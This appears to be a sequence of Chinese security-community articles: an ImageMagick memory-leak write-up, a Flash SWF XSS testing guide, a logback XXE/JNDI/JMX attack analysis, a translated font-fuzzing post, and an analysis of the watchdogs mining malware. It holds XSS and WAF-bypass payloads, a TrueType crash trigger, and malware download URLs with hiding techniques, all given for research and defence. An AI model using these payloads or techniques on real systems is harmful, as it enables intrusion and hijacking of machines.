从中我们可以看到两个指针：0x00007f839b75f0d0以及0x00007f839b763350。
**
**
**六、字符串及密钥**
因此，现在我们有了一个在字节数据上相当可靠的信息提取方法，我们可以从Yahoo!缩略图服务器上发现哪些有趣的字符串吗？我们找到了许多信息量很大的字符串，我们用“redacted”替换了其中敏感的信息：
**SSLCOOKIE** : SSL=v=1&s=redacted&kv=0
**Yahoo-App-Auth** :
v=1;a=yahoo.mobstor.client.mailtsusm2.prod;h=10.210.245.245;t=redacted;k=4;s=redacted
**https://dl-mail.ymail.com/ws/download/mailboxes
/**@.id==redacted/messages/@.id==redacted/content/parts/@.id==2/raw?appid=getattachment&token=redacted&ymreqid=redacted
是的，结果看起来非常严重。
除了会话密钥等有趣的字符串之外，我们还能看到其他信息吗？是的，我们可以通过某些路径、错误信息以及版本字符串发现服务器的确在使用ImageMagick，而且版本非常老：
/usr/lib64/ImageMagick-6.8.9/modules-Q16/coders/sun.so
ImageMagick 6.8.9-6 Q16 x86_64 2014-07-25 http://www.imagemagick.org
unrecognized PerlMagick method
显然，这些字符串可以作为这个漏洞的佐证，同时我们还可以注意到字符串中涉及到PerlMagick。我对PerlMagick并不熟悉，可能PerlMagick是用来实现进程中的ImageMagick，这也是为什么我们的越界图像数据能够读取这么多有趣信息的原因所在。
**
**
**七、总结**
这个漏洞非常有趣，我们发现服务器上存在内存泄露漏洞，可以将每个经过JPEG压缩的像素的少量数据编码后返回给我们，因此我们能够较为稳定地重新构造原始的字节，还原服务器所泄露的内存数据。
在已启用的解码器中，不加限制地使用老版本的ImageMagick是一件非常危险的事情，通过弃用ImageMagick，Yahoo!应该已经修复了这些问题。 | 社区文章 |
## 前言
作为一个用户，我不是很关心这些试图吸引我眼球的Flash之类的东西，甚至大多数时候我都会禁用它们。作为一名开发人员，它让我想起一段不太美好的回忆，曾经有一阵子营销人员一直想在网站上添加它们，是的，这看起来也太愚蠢了！作为一名黑客，嗯......好吧，我实在看不出它的好处在哪里，但我最近学会了如何在其上找到问题，这非常有趣。我曾经差一点就要成功了，因为我很快找到了3个XSS，但不幸的是我的所有漏洞申请都被标记为重复。
## 工具
JPEXS Free Flash Decompiler(<https://www.free-decompiler.com/flash/>)
用于反编译SWF文件，读取源代码并将其完全导出。
Flash Player Projector content(<https://www.flash.cn/support/debug-downloads>)
我在JPEXS中配置的Flash播放器。
Flash Player Projector内容调试器(<https://www.flash.cn/support/debug-downloads>)
我在JPEXS中配置的Flash播放器debug版本。
Flash Player插件内容调试器(<https://www.flash.cn/support/debug-downloads>)
用于启用浏览器Flash插件的debug模式。
testflash.php(<http://10degres.net/assets/testflash.txt>)
是我写的一个快速页面，用于执行本地测试。
使用Flash播放器的debug版本并在MacroMedia配置文件(<https://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf69084-7fc9.html>)
的帮助下，flash日志已启用，并且它将包含开发人员设置的内容：
$ cat ~/mm.cfg
ErrorReportingEnable=1
TraceOutputFileEnable=1
MaxWarnings=50
AS3Trace=1
## 获取代码
1.下载SWF：
wget <url>
2.使用JPEXS Free Flash Decompiler打开SWF文件
3.全选：
ctrl+a
4.输出：
right click -> export selection
5.删除重复文件：
find <export_dir> -type f -name "*_[0123456789]*" -exec rm {} \;
## 提取数据
查找注释：
extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1 -c
查找hash值或者有趣的关键字：
extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1 -k
查找终端：
extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1
找到所有带有`flash-regexp.sh`的比较有趣的内容：
#!/bin/bash
target_dir=$1
cat "flash-regexp.txt" | while read -r r; do
echo "$r" | awk -F ";;" '{print $1" : "$2}'
reg=`echo "$r" | awk -F ";;" '{print $3}'`
escape_reg=$reg
escape_reg=$(echo $escape_reg | sed "s/\"/\\\\\"/g")
echo $escape_reg
egrep --color -ri "$escape_reg" $target_dir
echo
echo
done
我在那里找到了所有的，基于列表的检索目标行命令，以下是其中的一部分：
Flash XSS (HIGH);;clicktag XSS;;geturl\(.*clicktag.*\)
Flash XSS (HIGH);;getURL XSS;;geturl\(.*(_root\.|_level0\.|_global\.).*\)
Flash XSS (HIGH);;getURL XSS;;geturl\([^'".]*\)
Flash XSS (HIGH);;navigateToURL XSS;;navigateToURL\([^'".]*\)
Flash XSS (HIGH);;ExternalInterface.call XSS;;ExternalInterface\.call\(.*(_root\.|_level0\.|_global\.).*\)
...
...
## 手动分析
启用并检查Flash日志：
cd /usr/lib/adobe-flashplugin
cp libflashplayer_debug.so libflashplayer.so
tail -f ~/.macromedia/Flash_Player/Logs/flashlog.txt | grep -a -v AVMINF
在本地运行包含测试页中所有参数的SWF文件：
firefox http://127.0.0.1/testflash/testflash.php?__swf=<MYSWF_FILE>.swf¶m1=value1¶m2=value2...
在JPEXS中查找参数,并且从初始化到最终使用，持续地逐个跟踪它们：
ctrl+shift+F + Ignore case -> flashvars
找到JPEXS中的危险方法名并反向跟踪参数：
ctrl+shift+F + Ignore case -> geturl
## 注意
Actionscript中的不安全方法名：
loadVariables()
getURL()
getURLBlankVar()
getURLParentVar()
getURLJSParam()
loadMovie()
loadMovieVar()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
XML.sendAndLoad ( 'url' )
LoadVars.load ( 'url' )
LoadVars.send ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
externalInterface.addCallback
htmlText
htmlVar
loadClip
AddDLL
可以加载对象或发送/接收/存储数据的函数：
XMLLoader, AMFService, SWFLoader, loadVariables, loadMovie,
loadMovieNum, LoadVars.load, LoadVars.send, NetStream.play,
getDefinition, getDefinition, FScrollPane.loadScrollContent, XML.load,
Sound.loadSound, NetStream.play, URLRequest, URLLoader,
URLStream, LocalConnection, SharedObject
未初始化的全局变量(ActionScript 2)：
_root
_global
_level0
未初始化的全局变量(ActionScript 3)：
root
loaderInfo
parameters
## XSS Payload
AS2 getURL() / AS3 NavigateToURL():
javascript:alert(1)
javascript://adobe.com%0aalert(1)
data:text/html,<script>alert(1)<script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
AS2 fscommand, AS2 .watch, AS3 externalInterface.Call
(比如PHP`preg_replace/e`这样的问题):
alert`0`
%#jsinitfunctio%gn=alert%601%60
\"))-alert(1)}catch(e){}//
\"))} catch(e) {alert(1);}//
\');alert(document.domain);
\"));throw_error()}catch(e){alert(document.domain))}//
\");function%20someFunction(a){}prompt(1)//
"%5D);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
flash.external.ExternalInterface.call("alert", '1');
注入HTML：
<img src='javascript:alert(1)//.swf'>
<a href=asfunction:System.Security.allowDomain,www.example.com>
<a href=asfunction:getURL,javascript:alert(1)>
绕过WAF：
param1=value1
pa%Xram1=val%Yue1
pa%=ram1=val%#ue1
pa%AXram1=val%B#ue1
File.swf?%#param1=value1&p2=v2
%#jsinitfunctio%gn=alert%601%60
触发错误：
xxx"'(){}\"\'(){}\\'\\"(){}xxx
原文链接：http://10degres.net/testing-flash-swf/ | 社区文章 |
# 日志库logback的攻击路径
来源：[香依香偎@闻道解惑](https://mp.weixin.qq.com/s/OBwxaijYCjnvo8I0OBusug)
## logback
`logback` 是 `log4j` 创始人设计的另一个开源日志组件。相比 `log4j`，重构了内核的 `logback`
的优势在于性能更高（关键路径性能提升十倍）、内存占用更小、文档更完善、功能更全面等等。`Github` 上的数据显示，`logback`
被八千多个项目所使用，包括 `springboot` 在内的多个框架已经使用 `logback` 作为默认的日志组件。
初步分析了一下 `logback` 库，有一些有趣的发现。
## XXE
`logback`
查找配置文件的函数在`ContextInitializer.findURLOfDefaultConfigurationFile()`，首先读取启动参数
`logback.configurationFile` 来获取配置文件的地址（支持远端 `URL`地址）。如果找不到，再去 `classpath`
下依次查找如下三个文件作为配置文件：
* a) logback-test.xml
* b) logback.groovy（最新版本似乎不再支持）
* c) logback.xml
获取配置文件之后，通过 `JoranConfigurator.doConfigure()`
(实现在父类的`GenericConfigurator.doConfigure()`中) 读取 `xml` 配置文件，其中调用
`SaxEventRecorder.recordEvents()` 解析 `xml` 配置文件时存在 `XXE` 漏洞。
## 动态加载
通常情况下，配置文件的这一类 `XXE` 漏洞并不是大问题，毕竟配置文件只会在初始化的时候加载一次，攻击者没机会触发漏洞。但是 `logback`
库不一样。只要配置文件中配置了 `scan` 属性，它就会启动一个 `scan task` 监控配置文件的变动，支持配置文件变更时的自动加载。
也就是说，我们有机会通过上传覆盖 `logback` 的 `xml` 配置文件来触发 `XXE` 漏洞。触发条件是：
* a) `logback` 配置文件中配置了 `scan` 属性
* b) `logback` 配置文件是以文件形式保存
第二个条件是因为代码 `convertToFile()` 中的一个限制：配置文件 `URL` 必须以 `file://` 开始。如果像
`springboot` 那样，把配置文件保存在 `jar` 包中，配置文件的 `URL` 以 `jar://` 开始，就不会启动实时监控的 `scan
task`。
## JNDI
除了自动更新之外，`logback` 的配置文件还有一个更强大的功能：利用 `JNDI` 的 `RPC` 功能从远端来读取内容，只要在配置文件中配置
`<insertFromJNDI>` 标签就行了，JNDI的远端路径就配置在这个标签的 `env-entry-name` 属性中。
梳理一下，如果一个 `web` 应用满足如下三个条件：
* a) `logback` 配置文件以文件形式保存
* b) `logback` 配置文件中配置了 `scan` 属性
* c) 有上传接口可以覆盖 `logback` 配置文件
我们就可以通过覆盖 `logback` 配置文件，来实现 `XXE` 攻击，以及 `JNDI` 的远程 `RCE`。
## 实战
验证一下。
* a) 从 `github` 上拉取 `spring-mvc-showcase` 项目，将 `pom.xml` 中 `log4j` 的 `dependency` 修改为 `logback`，增加 `logback.xml` 配置文件，并配置 `scan` 属性
* b) 通过tomcat运行war包。写一个上传接口，其中存在跨目录文件上传漏洞
* c) 通过上传接口覆盖 `logback.xml`文件，增加\<insertFromJNDI>标签，指定恶意的jndi服务。
* d) 等待一个扫描周期（配置文件中配置的 `30` 秒）之后，恶意 `JNDI` 地址收到了访问请求，恶意程序成功执行。
## JMX
不仅如此，`logback` 还实现了 `jmx` 的 `MBeans` 接口。只要在配置文件中配置 `<jmxConfigurator />`
的空标签，`web` 应用就会开放 `jmx` 端口，供 `jconsole` 进行连接和调用。
在JMXConfigurator这个MBean中，公开给jconsole调用的接口如下。
验证一下。
* a) 在之前的环境上，我们重新上传一个 `logback.xml`，配置上 `<jmxConfigurator/>` 标签
* b) 等待一个周期查看tomcat进程，发现多了一个39327端口
* c) 使用 `jconsole` 连接，无需认证即可登录。可以直接查看 `tomcat` 的管理属性，以及调用 `tomcat` 和 `logback` 提供的 `MBeans` 操作接口
## 小结
`logback` 通过 `scan` 参数提供了配置文件的动态更新功能。如果可以覆盖这个配置文件，就可以实现 `XXE`、`JNDI`、`jmx`
等多种攻击方式了。 | 社区文章 |
# 【技术分享】A year of Windows kernel font fuzzing
|
##### 译文声明
本文是翻译文章，文章来源：googleprojectzero
原文地址：<https://googleprojectzero.blogspot.ch/2016/06/a-year-of-windows-kernel-font-fuzzing-1_27.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **Ox9A82**](http://bobao.360.cn/member/contribute?uid=2676915949)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
在过去这一年内，我们通过大量的Fuzzing测试发现并报告了总计16个Windows内核在处理TrueType和OpenType字体时引发的漏洞。在这篇文章中，我们首先概述一下字体漏洞的背景，然后对我们所进行的Fuzzing测试工作做一个深入解析，其中包括整体的结果和2个案例的研究。在即将到来的第二篇文章里，我们将分享项目的具体技术细节，以及我们如何最大限度地优化过程的每个部分，并且是如何颠覆了Windows内核字体Fuzzing技术的现有状态。
**背景**
对于这篇文章的大多数读者而言，字体这个攻击面的重要性已经是不言而喻。在我们日常的使用中存在着大量的文件格式，这些格式在结构和语义上都非常复杂。因此，它们相应的难以正确的被实现，而这进一步由于以下事实而被放大：当前使用的大多数字体格式可以追溯到90年代早期，并且使用C或C++这种本地语言编写。控制的字体文件也是通过各种远程渠道如：文档，网站，脱机文件等方式交付的。最后很重要的是，负责执行程序来解释TrueType和OpenType字体格式的两个强大的虚拟机已经被证明可以用来创建可靠的利用链，因为它们能够对内存中的数据执行任意的四则运算，位运算和还有一些其他操作。基于以上所有原因，字体一直是内存破坏类漏洞的具有吸引力的来源。
字体处理漏洞被许多实际攻击场合所使用，比如Duqu恶意软件的Windows内核TTF字体
0day漏洞（大量的这一类型的漏洞被紧急修复），comex通过一个FreeType类型的漏洞实现的iOS越狱，并且成功的挑战了pwn2own2015（Joshua
Drake – Java 7 SE – 2013，Keen Team – Windows内核 – 2015）。
在过去的十年中，微软单独为其字体引擎发布了几十个安全公告，其他厂商和项目在这方面并没有比微软做的更好。现在，安全会议中已经充满了关于字体Fuzzing测试、已发现漏洞的细节的讨论。从用户安全的角度来看，这是一个非常不利的情况。如果一个系列的软件这么脆弱，但却被如此广泛的部署和使用，甚至大多数的安全人员都可以很容易的找到一个易用的0day漏洞，并将其用于实际的攻击中，那么显然是什么地方出现了问题。
**解决字体程序的安全问题**
如图所示，我们意识到这个情况需要在更一般的层面上来解决，而不是在整体的记录里再添加一两个漏洞，来获得一些虚假的安全感。让我们来直接面对它，我们目前使用的字体实现不会很快就被淘汰，因为性能仍然是字体光栅化的一个重要因素，并且代码库经过多年发展已经达到了很高的成熟度。一种通用的方法是限制字体处理代码在其各自环境中的特权，例如强制执行FreeType库的沙盒，或将字体引擎移出Windows内核（这也是微软从Windows10开始尝试去做的）。然而，这些方法大多是超出我们能力范围的。
那么，什么是在我们的能力范围之内的呢？我们可以增加漏洞挖掘的成本，并且完全清除一些程序中的简单漏洞来提高在相关代码中挖掘漏洞的门槛。自2012年初以来，我们一直使用内部的Fuzzing测试工具和一些可用资源来大规模地对FreeType项目进行Fuzzing测试。直到今天，我们已经得到超过50个错误报告，其中许多是可利用的内存破坏漏洞（见Project
Zero bug列表）。一些手动的代码审计也同样发现了一些问题。我们希望这些努力已经清除了大部分或全部的通过简单的Fuzzing测试就可以发现的低级漏洞。
然而，对漏洞挖掘而言，FreeType依然是一个相对容易的目标 –
它的开源性使得可以非常方便的进行源代码审计，通过充分理解底层逻辑使得我们可以采用静态分析算法，并允许我们把它编译成任何平台的二进制文件，它具有较低的运行时间开销（与DBI相比）。例如，我们广泛使用了AddressSanitizer，MemorySanitizer和SanitizerCoverage工具，大大提高了错误检测率，并为我们提供了代码覆盖率信息，可以用于覆盖驱动的Fuzzing测试。
与之相反的是，对Windows内核及其字体实现的测试被认为是比平均目标更难的。源代码不可用，并且调试符号仅对于引擎的一部分（位图和TTF处理在win32k.sys，但是OTF处理在ATMFD.DLL中）来说是公共的。这使得任何手工工作都变得更难，因为它必须涉及对于以间接方式对字体数据进行操作的代码部分的逆向工程。此外，代码是在与图形子系统的其余部分共享的同一个模块中执行的，这使得所有类型的交互都是至关重要的。当然有办法来提高错误发现能力（例如特殊池），但同时也存在着阻碍，例如通用异常处理会潜在地掩盖一些错误。
在2015年初，我们通过手工拆开ATMFD中的Type1/CFF虚拟机，这是最完美的审计目标。完全独立，足够复杂，但又大小适中，充满了遗留的代码并且似乎在过去没有进行过适当审查
–
这是一个不可低估的混合物。该审计产生了向Microsoft报告的8个在Windows内核中漏洞，其中一些极为关键。有关该研究和最有趣的BLEND漏洞的详细描述，请看"One
font vulnerability to rule them all"这篇博客。
CharString可以作为一个整体有效地进行审计，但是同样的策略不能应用于整个win32k.sys和ATMFD.DLL中字体相关的代码库。庞大的代码量和不同的程序状态使得我们几乎不可能去理解这些代码，更不用说保持整体的思考和寻找所有潜在的漏洞了。另一个选择当然是进行Fuzz测试
–
这种方法不能让我们对代码覆盖状态具有足够的自信，但是它的效率很高，只需要在初始设置时花费一点时间就可以，并且Fuzz技术已在过去被证明是高效的。事实上，根据公开的记录我们发现，超过90％的字体漏洞都是被Fuzzing技术发现的。这带来的额外的优点是报告通过Fuzzing获得的漏洞可以提高漏洞挖掘者的门槛，因为如果他们再使用类似的简单技术，将不再能找到任何漏洞。
考虑到这一点，我们在2015年5月开始了一个Windows内核字体Fuzz测试工作，试图采取以前对这个方面已知的技术来推进整个过程整体向前，并且进行优化来试图实现最高的效率。经过大约一年的时间，对于我们现在使用的Fuzz技术而言内核已经被清理干净了，而且我们相信我们获得的结果和使用的方法对于大众来说可能是很有趣的，这一系列文章会进行总结。
**结果**
下面是在去年通过Fuzzing测试发现的Windows内核所有漏洞的列表：
错误条目的链接包括了崩溃的简要说明，启用了特殊池的Windows 7 x86中的崩溃日志样本，以及概念文件的强制性证明。
为了重现一些崩溃，可能还需要使用Microsoft提供的专用字体加载程序（但在下一篇文章中还将详细讨论）。
如表所示，崩溃通过三次迭代报告：第一次显然包含了大部分问题，因为Fuzzing工具从一开始就碰到了很多不同的状态和代码路径。第二和第三次迭代运行的时间更长，以防止漏洞被其他更频繁的崩溃所掩盖。每次运行（3-4个月）之间的时间段是Microsoft为报告的漏洞发布补丁的时间，并与Project
Zero的90天披露日期（Microsoft在所有情况下都满足）相关联。一个案例更新了报告的时间，因为我们必须告诉Microsoft复现崩溃所必需的系统设置。
漏洞存在于处理SFNT表的代码中，在处理TTF和OTF文件时产生了编程错误。绝大多数的问题可以用于进行本地权限提升（进行沙箱逃逸等），甚至可以进行远程代码执行（对于将用户控制的文件直接传递到GDI的应用程序而言），这与Microsoft对这些漏洞的危害性评估一致。虽然我们是在Windows
7上进行的Fuzzing，但是报告的所有错误几乎仍然存在于较新版本的系统中。而且值得注意的是，虽然在Windows
10中通过在具有受限特权的用户模式进程中执行字体光栅化操作，来减轻特权提升场景，但是在该过程的上下文中的RCE仍然是可行的选项（尽管这比直接危及r0的安全更好一些）。
**撞洞**
没有什么更好的检验防御性漏洞挖掘的价值的方法，比得上观察到你上报的漏洞与在实际攻击中使用的exp（针对0day攻击）出现撞洞的情况了。尽管这些漏洞及其使用在过去有很多的记录，但是新发现是否会与2015年仍然流传的漏洞相冲突的问题仍有待解决。
事实证明我们不需要等待很久，我们最先提交的两个漏洞中的一个很快被证明就是Keen
Team在2015年Pwn2own期间使用的TTF漏洞，并且一个OTF漏洞在2015年7月Hacking
Team泄露的数据中被发现存在相同的（甚至包含了完整的利用代码），随后由Microsoft在紧急公告中修复。
有趣的是，这两个发生撞洞的漏洞其实是很难挖掘的。我们的Fuzzing工具在第一次运行期间不断地触发程序的崩溃，通过一些简单的分析，我们确定这两个条件确实可以通过在许多合法字体中执行微小的改变（比如单比特翻转，单字节交换）来触发。这似乎验证了我们通过挖掘上报漏洞来提高漏洞利用门槛的追求，因为它确认了这些漏洞通常会被其他研究人员发现和利用。
**与HackingTeam的0day撞洞**
在2015年5月向微软报告了第一批漏洞（7个OpenType和4个TrueType错误）后，我们耐心等待厂商发布相应的修补程序。很快，我们被告知他们重现了所有的问题，并安排在八月的补丁日进行修复。然而在7月20日当时我正在休假，我突然发现微软当天发布了一个临时的MS15-078安全公告：
有趣的是，我是被致谢的三个人之一
它迅速的证明了，我们之前报告的一个漏洞与Hacking Team泄漏文件中的两个独立研究人员发现的exp发生了撞洞。在2015年7月5日，Hacking
Team公司的千兆数据文件被公布在Twitter帐户上。安全行业中的绝大多数人都急于调查这些突然出现的有价值的资源，其中不仅发现了监控产品的源代码和有争议的业务操作信息，而且还存在多个软件中的0day漏洞，例如Flash
Player（4个exp），Windows 内核（2个exp），Internet
Explorer，SELinux等。然而直到7月20日，都没有公开的信息表明CVE-2015-2426曾被暗地里报告给了微软。
这个exp利用漏洞来实现在Windows（最高8.1）平台的本地权限提升。有关漏洞和利用技术的详细分析可以在360
Vulcan团队的博客文章中找到，但实质上，这个漏洞是由OpenType驱动程序中的ATMFD.DLL做出的无效假设引起的，如图所示，在伪代码中表示如下：
LPVOID lpBuffer = EngAllocMem(8 + GPOS.Class1Count * 0x20);
if (lpBuffer != NULL) {
// Copy the first element.
memcpy(lpBuffer + 8, ..., 0x20);
// Copy the remaining Class1Count - 1 elements.
}
这里，代码假定Class1Count（GPOS表中的16位字段）的值始终非零，并复制第一个表项，而不考虑实际值。
因此，如果字段等于0x0000，则动态分配的缓冲区会发生32（0x20）字节的溢出。通过适当的布局内核内存池（pool），可以将win32k.sys的CHwndTargetProp对象直接布置在发生溢出的内存区域之后，然后用一个用户模式的地址去修改它的vtable（虚函数表）。在那里，它只是泄漏了win32k.sys模块的基地址，之后构造了一个ROP链来禁用SMEP和调用实现权限提升的shellcode。
更重要的是，如果要通过Fuzz来触发漏洞，那么只需要将文件中特定位置（对应于Class1Count字段）的两个连续字节的值设置为0即可。换句话说，它可以被一个最简单的随机Fuzz工具测试出来，但是令人惊讶的是，在这么多安全机制被加入的情况下，这样的漏洞甚至可以存活到2015年。
出于好奇，原来HT的exp随后被NCC集团的Cedric Halbronn移植到64位的Windows 8.1中(见本文）。
**与pwn2own的漏洞撞洞**
三周后，2015年8月11日，第一批漏洞的补丁按计划发布。我再一次对致谢部分感到了惊讶，这次是把其中一个漏洞归功给了另一个研究人员。
这一次是Keen
Team的人，如果你查找CVE-2015-2455，其中的一个结果将是一个ZDI-15-388的页面，在页面的标题中就说明了这是pwn2own上使用的漏洞，并提到它是与“IUP”TrueType指令相关的。是的，这就是编号为368的漏洞。在pwn2own期间，该漏洞确实被利用来实现沙盒逃逸和通过“Adobe
Reader”或“Adobe Flash
Player”两者之一（具体不太清楚，因为在比赛期间曾使用了两个不同的TTF漏洞）获得对目标系统的完全控制。比赛发生在2015年3月19、20日。有一点疑问的是，对其他Team
Keen的TTF漏洞的公开是在2015年REcon的“This Time Font hunting you down in 4
bytes”演讲上。值得注意的是，自打他们通过ZDI报告这个漏洞后，微软花了几乎5个月的时间来进行修复，但仍然满足Project
Zero的90天披露时限（开始日期是5月21日）。
至于技术细节是在执行“IUP”指令时存在一个漏洞，它转换为通过TrueType指令集规范中的大纲插值未触及点：
如果仔细观察，可以发现在末尾有一个重要说明：将IUP应用于区域0是一个错误。是的，就像你猜的那样这就是漏洞所在。win32k！itrp_IUP上的指令处理程序没有验证当前区域是不是区域0，因此它可以直接把区域0当成区域1去操作，这最终导致了基于内核内存池（pool）的缓冲区溢出，而且溢出的内容和长度都可控。下面的三个TrueType指令就足以触发崩溃：
PUSH [] / * 压入一个值* /
0
SZP2 [] / * SetZonePointer2 * /
IUP [0] / * InterpolateUntPts * /
更重要的是，当正常改变字体时，崩溃也很容易被触发 –
单个bit的翻转就足以将SZP2/SZPS指令的参数从1更改为0。因此，这是在我第一次运行Fuzzing测试时最先触发的崩溃。在我后来添加一个TrueType程序生成器之后，这个问题会出现在每一个测试用例身上，这迫使我们在生成器中通过绕过一些特定的结构来避免这个问题，直到bug被修复。
这个案例或许是一个很好的例子，即不需要Fuzz测试也不需要进行审计，仅仅通过仔细阅读官方文档就可以获得关键的漏洞点。
**最后的一些想法**
我们的成果和努力证明了正确的Fuzz测试仍然是一个非常有效的漏洞挖掘方法，即使是针对在理论上已经很成熟的和经过了严格测试的代码库而言。此外，这两个漏洞的撞洞现象证明了Windows内核字体漏洞仍然存在，至少是在2015年依然在野外被积极使用。在本系列的第二篇文章里，我们将对关键技术部分进行讨论，包括：我们是如何准备输入数据的，如何去变异和生成字体样本，大规模的Fuzzing
Windows内核，如何复现漏洞和减少它们。 | 社区文章 |
**作者：安全攻防组@腾讯安全云鼎实验室
公众号：<https://mp.weixin.qq.com/s/3V0HVEREZWU8SkRWLspaxg>**
### **一、背景**
近日，腾讯云安全团队监测到部分云上及外部用户机器存在安全漏洞被入侵，同时植入 watchdogs 挖矿病毒，出现 crontab
任务异常、系统文件被删除、CPU 异常等情况，并且会自动感染更多机器。攻击者主要利用 Redis 未授权访问入侵服务器并通过内网扫描和
known_hosts 历史登录尝试感染更多机器。（对此，腾讯云安全团队第一时间发布了病毒预警——预警 | 中招 watchdogs
感染性挖矿病毒，如何及时止损？）
**相较于过去发现的挖矿病毒，这次的挖矿病毒隐藏性更高，也更难被清理。服务器被该病毒入侵后将严重影响业务正常运行甚至导致奔溃，给企业带来不必要的损失。**
### **二、脚本分析**
首先，可以直接从crontab任务中看到异常的任务项：
该crontab任务实现从 hxxps://pastebin.com/raw/sByq0rym 下载shell脚本并执行，shell脚本内容为：
该脚本实现从 hxxps://pastebin.com/raw/tqJjUD9d 下载文件，文件内容为经过base64编码处理；
base64解码后为shell脚本，shell脚本主要功能如下：
1. 修改环境变量，将常见的可执行文件目录添加到系统路径中，确保脚本中的shell命令正常执行；同时再次覆写crontab任务。
2. 清理其他恶意程序，如"kworkerds"，"ddgs"等挖矿程序；同时通过chattr -i等命令解锁和清理相关系统文件
3. 根据系统信息下载对应恶意程序执行；黑客主要通过将恶意程序伪装成图片上传hxxp://thyrsi.com图床站点，shell脚本下载hxxp://thyrsi.com/t6/672/1550667515x1822611209.jpg保存为/tmp/watchdogs文件，赋予可执行权限后执行该恶意程序；
4. 再进一步横向扩展感染，检查本地 ssh 凭证，遍历/root/.ssh/known_hosts文件中的IP地址，利用默认公钥认证方式进行SSH连接，执行恶意命令横向扩展感染；
5. 最后清空系统日志等文件，清理入侵痕迹。
通过bash脚本我们可以得知关键文件为其中的watchdogs文件。
进一步通过top命令未见异常进程，而CPU空闲率为100%，但又明显感觉到机器运行迟缓。
进一步通过vmstat进行确认，可以发现CPU使用率95%以上，由此可以推断存在隐藏进程，并且hook了相关readdir
等方法，具体案例我们在以前的文章已经做过分析。
[安全研究 | Linux 遭入侵，挖矿进程被隐藏案例分析](https://paper.seebug.org/629/)
进一步分析watchdogs文件，可以清楚看到病毒释放了/usr/local/lib/libioset.so的动态链接库并将路径写入/etc/ld.so.preload来实现了进程的隐藏，与我们上面的推测是一致的。具体可见样本分析部分。
### **三、样本分析**
#### **样本 watchdogs**
主要功能：
1. 获取当前进程id，写入/tmp/.lsdpid文件
2. 拷贝 /tmp/watchdogs至/usr/sbin/watchdogs路径，并将watchdogs添加至启动项及服务项
3. 释放libioset.so文件至/usr/local/lib/libioset.so，并将该so文件路径写入/etc/ld.so.preload，同时删除/usr/local/lib/libioset.c文件
4. 访问ident.me获取机器IP
5. 设置定时任务，定时从 <https://pastebin.com/raw/sByq0rym> 上获取shell执行脚本
6. 写入/tmp/ksoftirqds、/tmp/config.json，执行ksoftirqds后删除
7. 删除生成的相关文件
8. 访问 <https://pastebin.com/raw/C4ZhQFrH> 检查更新
#### **样本 libioset.so**
64位程序中，恶意样本会释放出libioset.c文件，采用源码编译的方式生成libioset.so文件，而32位程序则直接释放出libioset.so文件
libioset.so主要功能为hook删除、查看等系统命令函数，过滤掉watchdogs等相关信息，导致ls、rm等命令对该恶意程序无效，该so文件导出函数如下所示
例如，readdir64函数中，加载了libc.so.6
获取原始函数地址
如果调用该函数的进程不是ksoftirqds或watchdogs，则过滤掉所有包含恶意程序相关的结果。
unlink函数同样进行了过滤，导致无法清除恶意程序相关的LD_PRELOAD、libioset.so等。
该恶意程序同样隐藏了CPU信息和网络连接信息，如下所示：
当调用fopen打开/proc/stat时，返回伪造的信息
当调用fopen打开/proc/net/tcp或/proc/net/tcp6时，同样进行过滤
### **四、流程还原**
基于上面的脚本和ELF样本分析可以发现整体入侵和感染流程大概为：
1、通过Redis未授权访问漏洞入侵机器并修改crontab任务；或者通过遍历known_hosts中的连接历史进行横向扩展；
2、crontab任务执行bash脚本，进行相关清理和下载执行恶意程序watchdogs并横向扩展：
a) 覆写crontab任务；
b) 清理其他恶意程序；
c) 解锁删除相关系统文件；
d) 下载执行watchdogs；
e) 横向扫描其他机器；
f) 清理相关文件和痕迹。
3、watchdogs执行实现写开机启动、服务项并释放动态链接库实现隐藏，同时释放执行挖矿程序：
a) 获取进程ID写/tmp/.lsdpid；
b) 将/tmp目录下的watchdogs复制到/usr/sbin/目录并加入开机启动项和服务项；
c) 释放libioset.so并写入/etc/ld.so.preload实现进程等隐藏；
d) 访问ident.me获取机器外网IP；
e) 再次覆写crontab任务；
f) 释放挖矿程序ksoftirqds和配置文件config.json并执行；
g) 删除相关生成的文件并检查更新。
最终完成了一个漏洞利用到植入挖矿程序，同时隐藏和横向感染的过程。
而相对与过去我们分析过的隐藏进程的挖矿病毒，在该病毒释放的动态链接库中同步对unlink函数进行了过滤，过滤名称同时包含ld.so.preload和libioset.so，而同时由于删除、查看等系统命令函数也受过滤影响，就导致通过常规自带的方法无法直接删除libioset.so或者修改ld.so.preload解除恶意进程的隐藏，只能通过busybox
来实现对这些文件的删除清理。
在我们将/usr/local/lib/libioset.so文件清理后，就可以通过top命令看到执行的挖矿进程。
通过捕获的钱包地址查看黑客收益：
（数据来源：f2pool）
该钱包总收益约为56.5门罗币，约合1.9万人民币，过去24小时内收益1.3门罗币，当前算力约为430KH/S。
### **五、修复建议和清理方法**
修复建议
Redis未授权访问：
1. 为 Redis 添加密码验证（重启Redis才能生效）；
2. 禁止外网访问 Redis（重启Redis才能生效）；
3. 以低权限运行Redis服务（重启Redis才能生效） 详细操作请参考：<http://bbs.qcloud.com/thread-30706-1-1.html>。
内网感染：
1. 建议不要将连接机器的私钥直接放在服务器上，如有必要建议添加密码；
2. 建议通过有限的机器作为跳板机实现对其他内网机器的访问，避免所有机器的随意互联互通，跳板机不要部署相关可能存在风险的服务和业务。
挖矿木马清理方法
1. 删除恶意动态链接库/usr/local/lib/libioset.so；
2. 排查清理/etc/ld.so.preload中是否加载1中的恶意动态链接库；
3. 清理crontab异常项，删除恶意任务(无法修改则先执行5-a)；
4. kill 挖矿进程；
